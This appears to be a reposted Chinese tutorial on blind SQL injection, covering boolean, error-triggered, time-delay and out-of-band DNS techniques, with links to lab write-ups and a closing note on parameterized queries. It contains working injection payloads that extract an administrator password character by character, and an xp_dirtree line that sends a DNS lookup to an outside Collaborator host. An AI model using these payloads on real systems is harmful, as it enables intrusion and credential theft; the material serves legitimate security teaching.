什么是盲注?

当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入。

对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因为它们依赖于能够在应用程序的响应中看到注入查询的结果。但是我们仍然可以利用盲SQL注入来访问未经授权的数据,但必须使用更高级的技术。

通过触发条件响应来利用盲注

考虑一个应用跟踪cookies收集关于使用的分析的应用程序。对应用程序的请求包括如下cookie头:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

当一个请求包含TrackingId cookie而被处理的时候,应用程序使用如下SQL语句查询确定该用户是否为已知用户:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

此SQL语句很容易受到SQL注入攻击,但查询结果不会返回给用户。
但是,根据查询是否返回任何数据,应用程序的行为会有所不同。
比如它真的返回了数据(由于提交了可识别的TrackingId,也就是说这个用户是真实的),那么页面中可能将显示“欢迎回来”消息。

此结果足以加以利用成为盲注漏洞,并根据注入的条件由此触发不同的响应来检索信息。
现在我们要了解其工作原理,假设发送的两个请求依次包含以下TrackingId cookie值:

…xyz' AND '1'='1
…xyz' AND '1'='2

其中第一个值将导致查询返回结果,因为注入的和’1’='1条件为true,因此将显示“欢迎返回”消息。
而第二个值将导致查询不返回任何结果,因为注入的条件为false,因此不会显示“欢迎返回”消息。
这使我们能够确定任何单一注入条件的答案,从而一次提取一位数据。

例如:假设有一个名为Users的表,其中包含Username和Password列,还有一个名为Administrator的用户。我们可以通过发送一系列输入,一次测试一个字符的密码,系统地确定该用户的密码。
为此,我们从以下输入开始:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

SUBSTR (str, pos, len) 由 <str> 中的第 <pos> 位置开始,选出接下去的 <len> 个字元。

这将返回“欢迎返回”消息,指示注入的条件为true,因此密码的第一个字符大于m。

接下来,我们发送以下输入:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

这不会返回“欢迎返回”消息,表明注入的条件为false,因此密码的第一个字符不大于t。

最后,我们发送以下输入,返回“欢迎返回”消息,从而确认密码的第一个字符是s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

我们可以继续此过程,系统地确定管理员用户的完整密码。

详细靶场实战:
https://blog.csdn.net/ZripenYe/article/details/119771780

通过触发SQL错误来诱导条件响应

现在利用前面的例子,假设我们输入执行相同的SQL查询,但根据查询语句返回的任何数据,其结果不会有任何不同,意思就是说,没有了那个welcome。此时前面的技术不起作用,因为注入不同的布尔条件对应用程序的响应没有影响。

在这种情况下,通常可以根据注入的条件有目的去触发SQL错误,从而使应用程序返回条件的响应。这涉及到修改查询,所以我们需要在条件为true时导致数据库错误,而不是在条件为false时导致数据库错误。

应用程序的响应的不同情况(例如错误消息),从而允许我们推断注入条件的真实性。

要了解其工作原理,假设发送的两个请求依次包含以下TrackingId cookie值:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

这些输入使用CASE关键字测试条件,并根据表达式是否为真返回不同的表达式。对于第一个输入,CASE表达式的计算结果为“a”,这不会导致任何错误。对于第二个输入,它的计算结果为1/0,这会导致被零除的错误。假设该错误导致应用程序的HTTP响应存在某些差异,我们可以使用此差异来推断注入的条件是否为真。

使用此技术,我们可以通过一次系统地测试一个字符,以前面描述的方式检索数据:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

详细靶场实战链接:
https://blog.csdn.net/ZripenYe/article/details/119773320

利用触发时间延迟的盲注

在前面的示例中,假设应用程序现在捕获数据库错误并隐秘地处理它们。
即在执行注入的SQL查询时触发数据库错误不再会导致应用程序的任何响应,也就是不再报出任何错误,因此前面的诱导条件错误的技术将不起作用。

在这种情况下,通常可以根据注入的条件有目的地触发时间延迟,从而利用盲SQL注入漏洞。由于SQL查询通常由应用程序同步处理,因此延迟SQL查询的执行也会延迟HTTP响应。这允许我们根据接收HTTP响应之前所花费的时间推断注入条件的真实性。

触发时间延迟的技术非常特定于所使用的数据库类型。在Microsoft SQL Server上,根据表达式是否为真,可以使用以下输入来测试条件并触发延迟:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

第一个输入不会触发延迟,因为条件1=2为假。
第二个输入将触发10秒的延迟,因为条件1=1为真。
使用此技术,我们可以通过一次系统地测试一个字符,以前面描述的方式检索数据:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入)

实战代码链接:
https://blog.csdn.net/ZripenYe/article/details/119774782

利用out-of-band techniques (OAST)进行盲注

现在,假设应用程序执行相同的SQL查询,但它是异步执行的。
应用程序继续在原始线程中处理用户的请求,并使用另一个线程使用跟踪cookie执行SQL查询。查询仍然容易受到SQL注入的攻击,但是到目前为止所描述的技术都不起作用:应用程序的响应不取决于查询是否返回任何数据、是否发生数据库错误或执行查询所用的时间。

在这种情况下,通常可以通过触发到您控制的系统的带外网络交互来利用盲目SQL注入漏洞。如前所述,可根据注入条件有条件地触发这些信息,以一次一位地推断信息。但更强大的是,数据可以直接在网络交互本身中过滤。

为此可以使用多种网络协议,但通常最有效的是DNS(域名服务)。这是因为许多生产网络允许DNS查询自由出口,因为它们对于生产系统的正常运行至关重要。

使用带外技术最简单、最可靠的方法是使用Burp Collaborator。这是一个服务器,提供各种网络服务(包括DNS)的自定义实现,并允许您检测何时由于向易受攻击的应用程序发送单个有效负载而发生网络交互。Burp Suite Professional内置了对Burp Collaborator的支持,无需配置。

触发DNS查询的技术非常特定于所使用的数据库类型。在Microsoft SQL Server上,可以使用以下输入在指定域上进行DNS查找:

'; exec master..xp_dirtree
'//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

这将导致数据库对以下域执行查找:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

您可以使用Burp Suite的Collaborator client生成唯一的子域,并轮询Collaborator服务器以确认何时发生任何DNS查找。

实战链接:
https://blog.csdn.net/ZripenYe/article/details/119780006

How to prevent blind SQL injection attacks?

尽管与常规SQL注入相比,发现和利用盲SQL注入漏洞所需的技术不同且更复杂,但无论漏洞是否为盲漏洞,防止SQL注入所需的措施都是相同的。

与常规SQL注入一样,可以通过谨慎使用参数化查询来防止盲目的SQL注入攻击,从而确保用户输入不会干扰预期SQL查询的结构。

Blind SQL injection:盲注详解的更多相关文章

  1. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  2. SQL注入攻防入门详解(2)

    SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...

  3. [转]SQL注入攻防入门详解

    原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...

  4. MS SQL Server 数据库连接字符串详解

    MS SQL Server 数据库连接字符串详解 原地址:http://blog.csdn.net/jhhja/article/details/6096565 问题 : 超时时间已到.在从池中获取连接 ...

  5. 【转载】SQL注入攻防入门详解

    滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园  首页  博问  闪存    联系  订阅 管理 随笔-58 评论-2028 文章-5  trackbacks-0 站长 ...

  6. SQL Server表分区详解

    原文:SQL Server表分区详解 什么是表分区 一般情况下,我们建立数据库表时,表数据都存放在一个文件里. 但是如果是分区表的话,表数据就会按照你指定的规则分放到不同的文件里,把一个大的数据文件拆 ...

  7. SQL Server2012 安装方法详解

    SQL Server2012 安装方法详解 - MonkeyBrothers的博客 - CSDN博客 https://blog.csdn.net/monkeybrothers/article/deta ...

  8. 关于sql注入盲注,谈谈自己的心得

    1.没做防御的站点,拿上sqlmap直接怼就行了. 2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等) 这些就相当麻烦了,首先要探测 ...

  9. Natas Wargame Level 16 Writeup(Content-based Blind SQL Injection)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAqwAAADhCAYAAAANm+erAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

随机推荐

  1. SpringMVC(9)实现注解式权限验证

    对大部分系统来说都需要权限管理来决定不同用户可以看到哪些内容,那么如何在Spring MVC中实现权限验证呢?当然我们可以继续使用servlet中的过滤器Filter来实现.但借助于Spring MV ...

  2. mysql被收购 用mariadb (转)

    ~]# systemctl start mysql.service 要启动MySQL数据库是却是这样的提示 Failed to start mysqld.service: Unit not found ...

  3. Adaptive AUTOSAR 学习笔记 3 - AP 背景、技术及特征(中文翻译)

    本系列学习笔记基于 AUTOSAR Adaptive Platform 官方文档 R20-11 版本.本文从AUTOSAR_EXP_PlatformDesign.pdf开始,一边学习,一边顺带着翻译一 ...

  4. 【技巧】使用PPT更换背景色

    主要记述使用PPT来更换图片某一部分的背景色 把想要更改的图片粘贴到PPT里. 依次选择[格式][颜色][设置透明色],然后点击需要更改背景的地方 将自己的目标颜色复制一下,填充上去,选择[置于底层]

  5. 使用vue-preview报错Cannot read property 'open' of undefined

    最近在做一个vue项目中时,需要使用vue-preview插件制作缩略图,首先在终端使用npm i vue-preview -S指令安装了vue-preview插件,然后在main.js中,导入并引用 ...

  6. Halcon——图像增强算子以及分类

    摘要 图像增强就是指通过某种图像处理方法对退化的某些图像特征,如边缘.轮廓.对比度等进行处理,以改善图像的视觉效果,提高图像的清晰度,或是突出图像中的某些"有用",压缩其他&quo ...

  7. 微信小程序云开发-数据库表创建和操作

    一.新建云数据库 进入[云开发]界面,点击[数据库]>添加>创建集合>确定. 二.向数据库中添加数据 选中[数据库],点击[添加记录],向数据库中添加记录 添加[字段]和[值],并选 ...

  8. spring @Primary-在spring中的使用(十九)

    一.@Primary 在spring 中使用注解,常使用@Autowired, 默认是根据类型Type来自动注入的.但有些特殊情况,对同一个接口,可能会有几种不同的实现类,而默认只会采取其中一种的情况 ...

  9. Python -- 让程序运行后不立即关闭窗口

    程序运行完毕,窗口也跟着关闭.也就是说还没来得及看结果,程序窗口就关闭了. 试着改改代码,在最后加上以下这行代码: raw_input("Press <enter>") ...

  10. PHP-CGI远程代码执行漏洞(CVE-2012-1823)

    影响版本 php < 5.3.12 or php < 5.4.2 访问http://p:8080/index.php?-s即爆出源码,说明漏洞存在 POST /index.php?-d+a ...